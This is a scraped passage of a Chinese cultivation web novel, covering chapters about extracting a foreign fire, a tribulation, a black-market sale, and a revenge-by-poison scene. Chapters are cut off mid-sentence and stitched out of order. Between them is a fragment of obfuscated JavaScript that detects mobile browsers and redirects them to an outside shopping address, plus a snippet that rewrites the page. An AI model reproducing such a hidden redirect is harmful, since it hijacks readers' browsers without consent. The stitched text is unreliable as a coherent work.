江月白甚至有了和她分享最近见闻的心情。 她说:“你不知道,殷夏这人有点好笑。他把自己的灵鞭盘起来当垫子坐,还有,收了我不要的储物袋后非要缠着要做我的姐妹,我都没法拒绝他。” 沈卿缘露出有些意外笑容。 虽然她看上去略显疲惫,却眼眸闪亮,兴致勃勃。 江月白又指了指昏迷在旁的殷夏:“他运气好,采了株金盏莲用来炼丹,但手法粗劣的很,不知道药效还剩多少。没想到将丹药服下后反而激发了异火凶性,现在火苗正在他身体内到处放火,特别猖狂。虽然体内灵药还在护着他的灵根,但这样下去,他的身体可能会在异火烧尽前先行崩溃。” 事态紧急,沈卿缘深吸一口气,扣住殷夏垂在空中的手腕。 她在医术上的造诣要精湛得多,大致查探一番后,心里已经有了结论。 “稍后我会将他带回仙市。” 也就是说他还有救。 江月白长吁一口气:“我完成了你布置的任务,一路上保护了他的安全,还摘了很多你喜欢的花。” 她献宝般地从怀中掏出一大把黄澄澄的金盏莲,由于数量实在太多,繁复的花瓣挡住了她一小半的侧脸。 沈卿缘有些惊喜地接过,她将发上的珠钗拔下,换了朵眼前开得最舒展的金簪戴上。 随手幻化出的水镜映出她 20. 第 20 章 《我的美貌一文不值》全本免费阅读 此时的沈卿缘灵气饱满,双目清明,已完全地恢复到了巅峰状态。 随着一道白色人影和一只跟随其后的傀儡缓缓步入闭关石室中后,沉重的大门自内而外缓缓关闭,各类阵法随之启动。 各种复杂难辨的符咒镌刻在环绕石室的半圆形光罩上,其上漫出各色流光。 走至石室正中后,她一挥衣袖,盘膝坐下。 小葵花见状赶紧放下它的主人,无比乖巧地钻入了金镯中,好像一条夹着尾巴卖力干活的听话小狗。 殷夏双手交叠,安静地躺在地上,不复之前的挣扎与呓语,仿佛陷入了更深层次的沉眠。 而沈卿缘端坐在旁,一手支着下巴,摩挲了半天手指,脑中方案无数,却仍未想好从何处下手。 拔除异火说来简单,但实际操作的路径太多,而且每一种都各有利弊。 之所以沈卿缘会同意殷夏所说的固本培元保守治疗路线,就是因为异火的来源仍未搞清楚,最开始就贸然下手并非良策。 但如今已经到了异火与寄主之间两方博弈的最后关头。 沈卿缘在沈卿缘在殷夏身上比比划划,纠结于是剖开他的灵府直接将异火揪出来,或是将自身灵气化线织成网守株待兔的诸多选择时。 却见一团耀眼的火焰从殷夏身体里猛地窜到空中。 这不就是她想了半天的方法,试图从殷夏体内逼出的异火本火吗? 沈卿缘见此情形,顿时心头一热。她正左右为难用何种方法捞一捞异火,没想到还有这等称心如意的好事 异火像是终于冲破了桎梏,气势汹汹地从灵府中逃窜而出。窜出的瞬间,铺天盖地的火焰席卷而来,似是要焚烧这方天地牢笼。 而被它甩在身后的灵府像是被土匪洗劫一空的贫穷村落,只留了一截实在难以啃咬下肚的木灵根独自立在这满地狼籍的灵府中。 自由实在来之不易。 异火沉浸在喜悦中,只顾着焚烧挡在眼前的所有障碍,却没料到竟一头撞飞在眼下的普通的青石壁上。 然而这并不是普通石壁,而是一名大乘期修士的闭关之地。 石壁上镌刻的各种防御符咒在被碰触到后,两方力量瞬间碰撞瞬间被激发出各色灵光,爆发出无数绚丽耀眼的星芒。 她张开双手,十指相接,构筑出一个三角,指尖的灵力如云如雾般晕染开的瞬间,她十指乍分。 互相紧贴的指尖分开的瞬间,拉扯分出千万条细长柔韧的灵力丝线。 莹白的十指悬空交错纷飞,捻揉编织,在地上留下一片错落纷繁的残影,最终织成一张巨大又精密的天罗地网。 完成这张网后,她像一名老神在在的渔翁,只用一根较粗的灵力线牵引操控,一心一意地在石室之内捕捞那团到处乱飞的异火。 烛火摇曳,那道红色巨网仿佛无处不在,又仿佛在阴影中蛰伏已久。 殷夏早在异火重获自由的瞬间,就被沈卿缘封在另一道屏障中以护住躯体,免得被重获自由的暴戾火焰焚烧殆尽。 就算异火此刻想要重新回去与殷夏拼死拼活,或是藏在躯体内再不出来,也再没有这个机会了。 这样下去,捉住异火只是时间问题。 而异火在石室中四处逃窜,其上火焰不停地跳跃颤动,仿佛它真的在害怕讨饶一般。 无奈沈卿缘毫无怜悯之意。她一手支着额头,另一只手上指尖轻动,笑眯眯地看着它跑来窜去,丝毫不为所动。 异火的真实模样到底是如何? 灵根中的形态只是缩小之后变幻而出的模样,如今浮现在眼前的,才是它最原本的样子。 绯红凄烈的火焰倒映在沈卿缘的眼底,也折射出她眼中毫不掩饰的惊艳。 要怎么形容眼前的火焰呢? 明明是耀眼的鲜红色,焰火的边缘却闪耀着金属一般的光泽。 既像是镶嵌在黄金上闪闪发光的红色宝石,又像是一颗燃烧跃动的鲜活心脏。视线只能追随着它的光芒,仿佛连心神都被一并牵引过去。 她凝视片刻后,渐渐冷静下来,果断收回操控的灵力丝线。 红色的天罗地网在她的操控下逐渐缩小成一团。 收紧的过程中,火焰被勒成无数方形的小小格子,在此期间异火发狂一般,不断发出冲击耳膜的凄厉尖叫。 沈卿缘对此不闻不问,心似沉渊。 收服异火是一个漫长的过程。 期间需要不断以海量的灵气将它压制,最终化成捧在手中里的一团,而后再引出精血不断锤炼并试着与本源灵火一点一点地渗透融合。 融合的过程中还要时时警惕异火的反扑与吞噬。 将异火封炼化用了沈卿缘整整三日的时间。 她结束打坐的姿势,缓缓站起,抬起手臂。 指尖窜出一缕透明的紫色异火,照亮她目光湛然的眸子与素白的面庞。 两团明显的乌青在这张素白的脸上尤为显眼。 江月白忍不住仰头打了个哈欠,眨了眨泛出泪花的眼睛。 真想回城主府的雕花大床上好好地睡一觉啊。 她一边捂着呵欠连天的嘴巴,一边将指尖的一缕火焰往空中一抛。 那道琉璃一般明艳的紫光此刻只会随她心意而动。先是灵活地在石室中转了个圈,又如倦鸟归林一般回归于她的手上。 令她觉得奇怪的是,被收服之后的异火不再有火焰的燃烧跃动的特征,被托在掌中时安安静静,纹丝不动,看起来毫无攻击力,沉寂得像是一块明灭不定的晶石。 沈卿缘本是火灵根,吸收异火之前也可以引出灵根中的火焰,但那时只是纯正的红色灵火。 如今融合异火之后,不但本源灵火的红色变为了透明的紫色,就连火焰都成了凝固的晶体状态。这种事情简直闻所未闻。 但当她尝试着驱使灵火使其归于体内时,如今的紫色灵火亦可随时化为灵光沉入灵根之中,与先前本源灵火的使用并无不同,无论是幻化亦或是放出,都顺畅无比。 再次内视,只见一朵晶莹剔透的紫色莲花状火焰,宛如永恒凝固的水晶。而她的红色灵根化为一座灵盏,将宛如紫色水晶的火焰捧于其上。二者相互依偎,自然和谐。 沈卿缘在大乘期的瓶颈期已经过了上百年。 今日内视后,她竟发现僵持了百年的瓶颈竟突然出现了松动的迹象。 她将气息调理顺畅,而后走到殷夏身边,伸手碰了碰他的脸颊,试着将他由沉眠中唤醒。 * 好像做了一个长长的梦,梦里自己被丢到了岩浆池,还被里面的大眼泡鲤鱼追着咬。身上衣服和完好的皮肤都被烧成了火山灰。 触碰在脸颊的手指缓缓为他 21. 第 21 章 《我的美貌一文不值》全本免费阅读 殷夏手中还有一整片灵药园的灵草,本就打算去仙市一趟。 此外,他想起了那些仍被堆在灵府里的灵石。 除了先前在灵药园搜刮来的储物袋,还有打劫江月白的那批体修大汉的,两相汇总之后数量颇丰。 这些是他特意留着准备当面给沈卿缘的,比起契书上所载数额只多不少,用来还掉所欠之债绰绰有余。 “这次在找寻金盏莲的过程中,我侥幸之余颇有所得。” 说着话的工夫,殷夏已经将灵府中的灵石一股脑全倒了出来。 铺天盖地的灵石自上而下倾泻,落雨一般,因碰撞发出无比清脆的声响。 因成色上好,质地清透,映得满地莹莹生光。 沈卿缘只扫了一眼便立即预估出了数字。 她唇边笑意浅浅,挥了挥雪白的长袖,满地闪闪发光的灵石立刻被全数被收入其中。 “我们之间,所有账目都已结清。” 说完后,她从怀中掏出当时的那张契书,并打出一道微风,将装着契书的信封送至殷夏手上。 殷夏打开信封,除了契书,里面还有一块客卿腰牌与一把古旧的钥匙。 “你走得匆忙,我就做主帮你把客卿腰牌订好了。此外,仙市的每位客卿都能在仙市中有一处居所,你手中的是一座小楼的大门钥匙,就位于城主府旁左手边临水之处。” 在沈卿缘眼中,殷夏仍是往日摄人心魄的模样,只看一眼,都让她心生愉悦。 忍不住再看一眼。 只见他长长的眼睫如羽翼般颤了一颤,随后露出一个温柔的笑:“既然如此之近。等城主渡劫成功后,我可否去府上叨扰一番。” 沈卿缘挑眉走近一步。 多番转折才将异火之患消除,可人生际遇匆匆,才见面却又要放他离开。 不免感到有些遗憾。 却见他牵住自己的手,徐徐展平,随后将一袋扎好的茶包放在她的手上。 他轻声说:“乔睿拿走了你一坛好酒,我也没什么能抵的,手边只有一些我亲手摘下并炒制的的新茶,若是有空,可以尝尝。” 明明只是无心打趣之言,他却还记得。 江月白解开手中装满了茶叶的布袋,靠近闻了闻,一阵异香扑鼻而来。 她仔细将袋子收好,双眼明亮:“闻起来很是特别,我还没有尝过这种香气的茶叶。若我此次能渡劫成功,你可愿前往府中饮茶?” 殷夏微微颔首:“乐意至极。” 穹顶之上黑云沉沉,紫色劫雷隐于云层之后,闪烁着雷光。 沈卿缘抬头仰望天空,手腕翻转开启石室之门,将殷夏推了出去。 飞往仙市的路途上,殷夏看着远方离自己越来越远的黑色劫云,担心沈卿缘之余,发现江月白不见踪影。 大概向沈卿缘汇报任务情况了吧。 自清醒之后,殷夏还没来得及与她告别。 他握住手中的客卿腰牌,恍然惊觉自己也是仙市客卿之一了。他们已经相认为姐妹,若两人都是仙市客卿的话,岂不是亲上加亲。 他美滋滋地想,以后大家还是同僚,若是任务中见到,得多多联络交流才是。 * 秘境中寻得的常见各类灵草可以去仙市交易行寄存出售。但总有一些取得的方式并非光明正大,又抹不掉上面的原始印记,交易起来便会非常麻烦。 木盒以外的法宝灵器全都或多或少留上了修士所施加的特殊印记,想要全部转手卖掉的话,修仙界中有这么一个叫做黑市的地方。 所谓的黑市,其实是一个在修真界中讳莫如深的庞大地下交易场所。 能够在明面上进行买卖的交易,都可通过仙市交易行进行。与之所对应的,各种来路不明的宝贝,卖家又不便于抛头露面单独出售的,便会在黑市中秘密买卖交易。 为了避免不必要的混乱,进入之前会给每个人发放特制的面具与令牌。 面具的特别之处在于,只要在黑市中戴着,就可以完全隐去容貌与声音,待所有交易完成后再摘下面具各自离开即可。 而黑市令牌,是黑市向每位进入其中的修士发放的带有编号的黑色牌子。其材质特殊,水火不侵。只有凭此令牌才可通过黑市中的各家商铺的禁制,并交易物品。 黑市中往来之人各有背景,或是有一身的人命与秘密,因此此处严禁斗殴。据说身后有极为厉害的大能坐镇,若被发现动用灵力或是法器,不但会没收此次的交易物品,还将被永远逐出黑市。 曾有高层放话出去,称若想寻死大可前来闹事,黑市将奉陪到底。这也从另一方面显示出其身后的靠山修为之强。 因此虽然前往黑市的大多不是良善之辈,但一般情况下大家都规规矩矩来此买卖,不愿蓄意闹事或是沾染麻烦。 殷夏缓步迈入黑市入口。 并不宽敞的街道上倒是人来人往,来去匆匆。 他的脸上有着沈卿缘绘下的封印、覆了张黑市特供的面具,穿着身玄色长袍,独自一人无声无息地混入了汹涌的人群之中。 然后按照记忆中的路线,目标明确地前往闹市旁边的一家店铺。 街上的店铺各色各样,有奢靡华贵金碧辉煌的多层楼厅,也有就地搭建的简易棚子。更多的是在临街叫卖的摊铺,不过这种铺子也是整个黑市中水最深的地方。 殷夏考虑到所卖之物数量过多,还是找了家熟悉的铺子。 进门后一阵迷魂的香气扑面而来,迎接的却是一个消瘦的中年男人。他穿着一身洗得起球的布衣,像是一位怀才不遇贫苦书生。 怎么看也不像一位黑市交易区里的掌柜。 殷夏进入店内,看着门口的禁制缓缓合上,才缓步迈进一道门帘之后。 他并未将奇异的木盒现于人前,而是提早将灵府内的木盒打开。然后将各种灵器一一摆放在身前的木桌上。 各色饱满的灵气向外溢出,朴素的木桌顿时显得华贵起来。 他面前那位满身是书生气的掌柜抬手拂过这些灵器,半晌后才抬起下巴惊叹道:“你这是撞了什么运气,怎么会有这么多灵器来这儿交易?” “跟在一位元婴前辈的后面捡的。前辈十分大方,全都赏给我了,其实我也没想到数量如此丰厚。” 话里半真半假,掌柜是个明白人,也不过再问了。 全部清点查验完毕后,看在熟人的面上,他给了殷夏一个比市价高了一成的价格。 ”元婴期的烙印,有点难处理。”掌柜将灵器仔细收好,轻声道,“我们也不是第一天认识,这个价格算是不错的了。” 殷夏大概清楚黑市的行情,闻言点点头:“麻烦了。” 面具将他的声音处理得低沉模糊,他与掌柜做了多次交易,但对方能快速认出他,只是因为手上的那块带有编号的黑市的令牌,而非面貌与声音。 钱货两清,恰好门口的禁制缓缓荡开波纹状。 ——是新的客人来了。 殷夏也不废话,快速起身后,头也不回地从店内出口方向径直离开。 * 沈卿缘站在空旷的石室之外,已经做好迎接第一道雷劫的准备。 她感受着如今已臻通达透彻的心境,和天际飞快消散好似在狼狈逃窜的劫云 22. 第 22 章 《我的美貌一文不值》全本免费阅读 城主府是仙市重地,向来少有修士在此经过与停留。可碰巧的是,此时此刻正好有两人,在此处门口台阶之下打了个照面。 一个是面色冷凝的沈卿缘,她刚从闭关石室处瞬移而来;另一个是刚从黑市返回,尚未来得及换下先前所穿一身玄衣的殷夏。 殷夏抬头看了看城主府的大门,又看了看手中的客卿腰牌,抬手摸了摸鼻子,有些尴尬地朝沈卿缘笑了笑。 将手上各种不明来源的法宝灵器全部换成灵石后,殷夏一朝暴富。 他离开黑市,打算先找到沈卿缘所说的那座临水小楼,先洗个热水澡,再换身干净衣服,缓冲一下连日的奔波劳累之后,再前往城主府拜访沈卿缘。 神识探入客卿腰牌内,能看见其中还画有所分配小楼的详细地图。根据上面的指示,殷夏确定,属于自己的那座小楼就在城主府边上不远处。 他对城主府的位置了然于胸,因此先直奔此处而来,之后再根据地图寻找客卿小楼的具体位置。却没想到会看见沈卿缘。 她渡劫速度快得超出了一般修士的认知,而此时由于收了威压,又比自己高了好几个境界,殷夏难以判断出来她是否渡劫成功。 他靠近一些,将沈卿缘的脸色仔细端详了一番,没有看出异常。 “城主?” 沈卿缘看到身着玄衣的他,眼前一亮,并未回答,反而立即伸手拽住他的袖子:“跟我进府,有事相商。” 殷夏注意到由于路途奔波,自己身上所穿的宽大玄色长袍,袖袍和衣角上都有些脏污。 他不动声色地敛了长而宽的袖口,往后退了两步。 沈卿缘扬了扬眉:“你来城主府大门口,却不是为了找我?” 殷夏决定实话实说:“其实我是在找令牌地图所对应的那座小楼,刚好经过城主府这。” 沈卿缘嫣然一笑:“那简单,我带你去。” 殷夏扯了扯被她拽得紧紧的袖袍,袍角上沾上了不少灰尘,她却毫不在乎地抓在了手里,完全挣脱不开。 他有些手足无措道:“好,好吧。” 两人便从城主府门口改道,转为去他那座素未谋面的小楼。 大概距离太近,沈卿缘并未御风或是传送,只向附近扫了一眼,心中有数,便带着殷夏寻了条石板小路徐徐穿行而过。 其实殷夏有打算去城主府一趟,只不过既然要上门拜访,就该注意衣着与仪表。却没想到还是在仪容不佳的状态下和沈卿缘打了照面。 他不知道的是,一身玄衣的自己落在沈卿缘的眼中,又是另一番样貌。 他平日里总是一身洗到褪色的灰扑扑袍子,尽管如此随意,也能凭着一张举世无双的脸将衣服穿出随性之感。 可如今换了一身玄色长袍,纯黑中泛着微红融合在一起,反而衬托出他分外白皙的肤色,与惑人心神的美色。 两人并排而走,沈卿缘侧过头看他。 视线放平时刚好能看到他修长的脖颈,以及微微凸起滚动的喉结。极白的皮肤隐于玄色长袍下,套着金镯的手腕略有骨感却并不瘦削,随着行走的动作而轻晃。 果然美貌之人的一举一动,都可以像加了滤镜一般如诗如画。 就这样走了一段路程,虽然有些后知后觉,殷夏终于发现沈卿缘直白而大胆的视线,他忍不住低头,想弄清楚她究竟在看哪里。 却见她反而更加光明正大地打量自己,而且视线由上至下来回流连,流露出毫不掩饰的赞叹之意。 沈卿缘作为封印的施术者,殷夏知道她眼中所见仍是自己原本的样子,并不会被先前亲手为他设下的幻术所影响。 他记得那时候她说,自己的脸非常美好,每一次见到都很喜欢。 说的是真心话。 虽然被封印容貌后的生活平淡且让人心安,殷夏却仍有些嫉妒以前的自己。他没有发现,这段时候以来,自己对原本容貌的抵触少了很多。 虽然至极的美貌会吸引很多心怀不轨的人,但每一次与沈卿缘见面时,她的目光都会长久停留在自己身上,难以移开。他并不排斥这样的目光。 并开始觉得,能拥有这样的美貌确实是一件不错的事情。 * 两人走的不快,但没过多久,就看到一座房子邻水而建。 直至走近,才发现这是一座宽敞明亮的竹楼。 此处只有一座这样的小楼,并非如他所想的,是客卿居所聚集之处。 四周绿树成荫,屋后长着一从茂密的竹林。不时有微风拂面而来,翘起的屋檐上挂着的一块竹节牌子在风中飘荡,上面所刻的编号与殷夏客卿腰牌上的完全一致。 楼上空旷处只在部分区域装了些栏杆,其余地方平整宽敞且毫无遮拦。若是闲来无事,甚至可以坐在屋子边缘钓鱼钓虾。 一条由远至近的清澈小溪从下方哗哗流过,水中立着数根青翠的竹竿,将整座楼牢牢支撑于其上。 殷夏一个轻身翻上竹楼。 他踏入其中的瞬间,手中握着的腰牌也发出莹莹的白光。似是与腰牌产生了共鸣,覆盖着整座小楼的防护罩因被激活而显现出半透明的轮廓。 在腰牌闪烁白光之时,殷夏感觉到自己与竹楼之间形成了联系。他闪至大门处,将竹门打开,以便沈卿缘进入参观。 从大门处进入后可直接到达一层的会客厅。两人进入之后,由于竹屋内外通透,室内一片明亮。 一层靠水,容易沾上湿气,但这座屋子的一层建得比普通房屋高得多,地板做了双层,其间夹了防水符咒,不但能够阻隔水汽,也能阻挡湿气。 整座竹楼共分为两层,一层是会客厅、茶室与厨房;第二层则是卧室以及沐浴和修炼的场所。竹楼之外围了一圈高低错落的篱笆,将整座小楼圈在其中。 殷夏以金丹修为试着往上打了一掌,罩子微微晃动了几分,却没有碎裂。他点点头,若当有危险降临,防护罩子能给他争取到一些反应的时间。 沈卿缘走在殷夏身后,似乎对此处房屋结构了然于胸。 她讲解道:“这座小楼是一个法器,与腰牌已经相互关联,可收入腰牌之中。若以后有了更加合适的洞府,你可以将它收起并安置新洞府。” 殷夏点点头。 “因为客卿不会长久定居在仙市中,总会四处奔波,因此我参考了别处的……竹楼,结合修士日常所需炼制了这样的法器。” “客卿小楼都是按照这个样式规格的吗?” “对,之后我就将它的制作方式教给了负责客卿事宜的管事,每位前去登记的客卿都能领取一个。” 提到竹楼的时候,沈卿缘含 23. 第 23 章 《我的美貌一文不值》全本免费阅读 殷夏一连喝了三杯茶外加嚼了两块茶点,才终于消化掉江月白就是沈卿缘的事实。 知道了眼前之人就是之前被自己强行认下的姐妹,原本在他胸腔中轻快跃动的心一下子就死了。 沈卿缘放下茶盏,淡淡道:“她是我的分身,性格也与我不尽相同,但炽恒秘境只有元婴期才能进入,所以让她替我去一趟最为合适。” 殷夏压根没在意她说了什么,彻底变成了一个只会点头的人形废品。 他不禁回想起自己在秘境中的各种表现,比如把木灵鞭盘起来当遮掩寒气的坐垫,把鲤鱼妖的储水泡泡当成防御罩。 对了,还让江月白一个女修冲在前面与岩浆池的鲤鱼妖打架,自己在岩浆池旁隐匿起来找金盏莲,结束之后还化成方便蹭车的叶片搭江月白的顺风车…… 修仙界向来只分强弱,不分男女,而且江月白是元婴而他是金丹。在秘境的残酷环境下,能得到强者的庇护是走了大运,他本来不应该有太大的心理负担,只需记住恩情日后回报即可。 可若江月白就是沈卿缘…… 殷夏抬手遮住半边脸。 ——作为男修最要命的面子,被他亲手在沈卿缘面前丢尽了。 沈卿缘唇角扬起,饶有兴趣地看着他心态垮掉的样子,心里莫名觉得有些可爱。 可随后想到接下来要谈的事情,大概会给他造成更大的冲击,脸上的笑意便渐渐收敛了起来。 殷夏提起放在桌面上的茶壶,分别给两人杯中添了些茶水。 沈卿缘思索片刻:“先前我感到自己瓶颈松动,确定你离开很远后,便准备强行渡劫。” 殷夏点头,并悄悄地将遮在脸上的手放下。 每一个踏上修仙之路的人都知道,修仙界的顶点便是渡劫期,到了这个程度,天劫只会将劫雷不要钱地往下面劈,而且一道比一道凶狠致命。想到沈卿缘这趟渡劫不知是何等的惨烈,殷夏的心忍不住悬了起来,身体往桌子的方向前倾了一些。 对面的沈卿缘理了理思绪,语速很慢:“这次渡劫与以往的情况截然不同。一开始并无异常,当时我已经按部就班做好抵御第一道雷劫的准备了。然而只一瞬间之后,一切就莫名地结束了。” 殷夏没太听懂:“什么叫结束?” 渡劫开始后,只有成功和失败。还能强行提前结束的吗?不可能吧。 沈卿缘解释道:“就是字面上的意思,渡劫结束了,不但天雷未曾落下,连劫云都消散得干干净净。” 她反问殷夏:“你觉得原因在哪里?” 殷夏双眼状如桃花,眼尾上挑,凭空增添了几分迷蒙之感,仿佛一泓在月色中荡漾的清泉。 而此时,这双如云如雾的眼睛凝视着沈卿缘,无比专注地倾听她所说的话,还不时地给予适当的回应。 让她油然而生一种被捧在手心上的珍重感。 殷夏思考了片刻:“天劫没有意识,只是天道秩序的产物。若是连成仙之前的最后一道雷劫都消散了,岂不是要断了修士成仙之路?” 沈卿缘继续道:“并非如此,与之相反的是,我在此次渡劫之后,不但打破了瓶颈,而且确实已经顺利步入渡劫期。” 殷夏脸色凝重:“若是真的如此,你又为何着急同我商量。是情况变糟了吗?” 沈卿缘微微地笑了:“是的,一切是在我祭出刚刚炼制完毕的本命灵火之后,天雷和劫云才开始变得不同寻常起来的。” 一通谈话下来,殷夏的心情一路被牵引地忽上忽下。 他长叹一口气,心情忽然觉得有些沉重。 沈卿缘一直在留意着他,所以第一时间就发现他的心情低落,有些不太对劲。 “怎么了,不希望我跟你商量事情吗?” 殷夏连连摆手:“完全没有这回事。只不过我想到之前在炽恒秘境的时候,若真的只是我单独一人,可能就算摘到金盏莲,也不一定能出得了秘境,那时候多亏你化出江月白保护我。” “可是当你渡劫的时候,我却只能被你推开自保,完全帮不上忙。” 沈卿缘微微翘起嘴角。 她伸出两只白玉般的手,一左一右捧住殷夏的脸颊。在肌肤相触的瞬间,手上能感受到年轻男修骨骼的棱角感与皮肤特有的柔和细腻感。 “渡劫本就是一个人的事情,天雷落下,任凭修为如何,旁人均无法插手。” “不过,刚好的是,我现在就需要你的帮忙。” 年轻的男修微微睁大了些眼睛,原本花瓣状的漂亮眼睛,愣是被他睁成了有些呆呆的椭圆形。 沈卿缘的语气变得严肃,声音也低沉了些:“事实上在劫云未散之前,我在无意间看到了自己本命灵火与劫云之间存在的因果。” 虽然修仙之人数不胜数,但整个修仙界中灵气溢散是不争的事实。 长此以往,剩余的灵气将无法支撑修仙之人突破境界,成仙也将变为奢望。 但若所有修仙者的渡劫都同沈卿缘此次渡劫的情形,在渡劫过程中只有声势浩大的漫天劫云却无半分劫雷落下,渡劫之后毫发无损,大概整个修仙界都会疯掉。 沈卿缘在指尖聚集了些灵气,而后双指伸出,却停在半空。 殷夏点点头,她才继续往前伸出指尖,直至覆在殷夏双目之上,并以此为媒介与他开启共享记忆的暂时通道。 在沈卿缘的记忆中,殷夏看到了紫色的劫雷隐在沉沉的天幕中,天边可怖的黑色劫云渐渐聚拢似是要将劫雷往下劈出。 于是她给自己护上了最强的防御,为了以防万一,还祭出了本命灵火。一切都有条不紊,看来她确实胸有成竹。 可是之后所见便如她所说,一切都变得异常古怪。与此同时,却有一条格外鲜艳且纤细的红线自劫云中伸出,而红线的另一段,则牢牢地系在紫色晶石般凝固不动的本命灵火上。 殷夏盯着那条红得诡异的线条不敢眨眼,额上渐渐覆上了一层冷汗。 虽然他心中已有猜测,但还是不禁问出了声:“这道红线是?” 沈卿缘声音微冷:“因果线。有因才有果,当时我看到这条线的另一端竟然牵扯到了劫云,便立即以神识追去,想要探查出一切究竟是什么原因。” 殷夏有些急切地追问:“然后呢?”

35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|12923961|130018||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 转一些,她开口道:“夫人,此次掌门的毒是你下的吗?” 殷素灵沉声道:“是的,但他对我早有防备,并未中毒,反而对外散布自己中毒的消息吸引你们前来。这些年,他与月幽城来往甚密,在书房暗格处藏有大量的密信,你们可自行搜寻。” 沈卿缘看向殷夏:“既然与月幽城有关,那此次只是一个局,只不过夫人的出现让掌门猝不及防,进而搅乱了他们的计划。” 殷夏眼神清明:“若是为了针对我而设计的局,那月幽城的动作可真够快的。” 多年前因他揭发的缘故,那批作为炉鼎的女子都被解放,并回归各自的门派与家乡。但近况如何,他并不清楚。 他忍不住多问了一句:“门派中这些年还有炉鼎吗?” 殷素灵露出一个笑:“以前有,但从今天开始,就再也没有了。” 沈卿缘点头:“掌门已死,自然无人会在这上面动歪心思。但少主呢?” 不料殷素灵道:“不用担心,他一年前便死了,是死于另一种难以察觉的慢性毒药。他喜欢我,自然不会防备我,最后我如愿以偿地杀了他。” 一个漫长而凶险的的谋杀计划,说起来却只有寥寥数语。 听到此处,殷夏沉默不语。 殷素灵接着道:“我自知对上掌门的话,杀死他的希望不大,但仍需尽力一试。” 殷夏反问她:“那你呢?” 殷素灵看着满地的碎肉血痕,垂眸道:“这个门派做了太多有违天道之事,早该覆灭了。我用了禁术,又和那个老家伙一样中了毒,无药可救。所以你们趁着天亮之前走吧,做你们要做的事情。” 殷夏深吸一口气:“什么意思,难道你想留在这个地方?” 殷素灵坚定道:“我恨这里,所以还要多待一会,最后一件事情需由我亲来自完成。” 殷夏却并未如她所愿地立刻离开。 有个问题他已经放在心里很久。 他早就打算,若有一天能再见到殷素灵,要亲口向她问出个答案。 他鼓足勇气,终于开口问她:“你为什么要生下我,又为什么要抛弃我?” 殷素灵笑了笑,唇色嫣红:“你是个意外,抛弃你非我所愿,但留下你我也会没命,只能说命运如此。再说当时的我立誓要完成复仇计划,因此只能寄希望旧时朋友能大发善心。” 她感慨道:“你那么小,却能活下来,确实是个奇迹。既然这样,不如再帮我做最后一件事吧。” 在殷素灵的心中,或许有亲情,但支撑她活到现在的,是仇恨。 仇恨太深,她无法自拔地深陷其中,早就迷失了自我。亲情于她而言,最开始就是个累赘。 殷夏终于想明白这一点,冷声道:“你说。” 殷素灵轻声道:“去后山屋舍,将被带到这里最新的一批炉鼎给放了吧,这是我最后的请求。” 殷夏顿了顿,还是答应了:“好,我会帮你。” 殷素灵见他答应,自言自语道:“自从作为炉鼎被带到这里的那天起,我时时刻刻都想要手刃这些视人命为草芥的人。如今大仇得报,我心里畅快得很。” 她开始大笑,笑声逐渐放肆起来。 在转身之前,殷素灵最后看了一眼殷夏:“死前能见到你,我挺开心的。” 殷夏默然。 事已至此,对殷素灵来说,求得一个玉石俱焚未必不是最好的结局。 34. 第 34 章 在走之前,沈卿缘撤去了原本加固在殷素灵结界上的自身灵力。 没有了沈卿缘灵力的加持,先前那只摇摇欲坠的结界宛如一叶将要倾覆的小舟,其上裂纹清晰可见,且正在逐渐扩大崩坏,不时有透明的结界碎片往下掉落。 殷夏最后回身向殷素灵望了一眼,但先前那一眼之后,殷素灵再也没有向他们的方向投来视线。 沈卿缘碰了碰殷夏的手腕:“那我们也别耽搁时间,一起去书房找找有没有殷素灵所说的暗格。” 书房离此处很近,屋内摆满了高至屋顶的书架,无数的书籍搁置在其中的架子上。眼前无数的柜子藏书,让沈卿缘有些无从下手。 殷夏却若有所思地观察了片刻,随后走到一处书架边。 左右比较了一番后,抽出其中的一本书。随着他手中书籍哗啦啦地翻页,那本薄薄的书册忽然变厚,里面噼里啪啦地掉出无数的信封。 沈卿缘蹲下随手捡起一只信封,奇道:“你怎么知道会在这本书里面?” 殷夏跟她一起蹲下,也捡起一只拆开。 里面确实有字,但都已经加密,只能看到一些毫无规律的字符。 他一边将手中的信放回信封,一边说到:“当亲传弟子的,若是留心,当然会知道师父最爱读什么书,又将此书放在什么地方。” 殷夏将所有信封全部塞到储物手镯之中,与沈卿缘一并隐去身形走出书房。 却见夜幕之下,掌门卧室的方向已经燃起一片鲜红的火海,火势从房屋一直往后烧到了竹林,而且还在继续往外蔓延。 沈卿缘若有所思:“原来她最终目的是想毁了这个地方。” 殷夏心想,这下捅的篓子更大了。 却见沈卿缘道:“那我也助她一臂之力吧。” 她凝神分出一丝细如发丝的本命灵火,扬手将火焰抛向不远处的烈火之中。 灵火离体,立刻嚣张起来,头也不回地直奔眼前的火海而去。 落入凡火之中,就像水滴溅入了热油,火势被催涨后瞬间扩大了数倍,猩红色的火苗一路烧往山下,因灼烧产生爆裂的噼啪之声清晰可闻。 虽然殷夏对异火脾性早有体会,但眼睛看到又是另一回事,阵阵热浪中,他感同身受地缩了缩身体。 那丝灵火被沈卿缘召回的时候,偌大饱满一朵慢悠悠地从远处飞过来,不情不愿地回到她的手中,似是没能玩够一般。 无边的暗色黑夜,焚烧一切的异火。 尽管不知他们究竟是借助何物卜算异火的行踪,但如今异火已经转悠了一圈,留下了大量的痕迹,想必不久之后,那些幕后的卜算之人就能顺着异火的踪迹算到这里。 这正是她所期望的。 天星派能与幕后之人合作,大概率是以殷夏的下落为筹码,让掌门以身入局去找殷夏的麻烦如今掌门身死,门派覆灭,现场一片火海,遍地飞灰。 一夜之后,掌门被杀,门派损失惨重,再紧密的合作都会就此断绝。 门派内若是便要追根究底,就会发现,其实下毒之人是掌门之子的姬妾。 虽然门派中除了掌门之外,还有修为深厚的长老,各个都不好招惹。另外尽管天星门沦落到了三流门派,但仍有很长的利益链条,其中不乏一些修为高深的修士。 但就算有人想要挺身而出,也牵扯不到别人的家事之中。 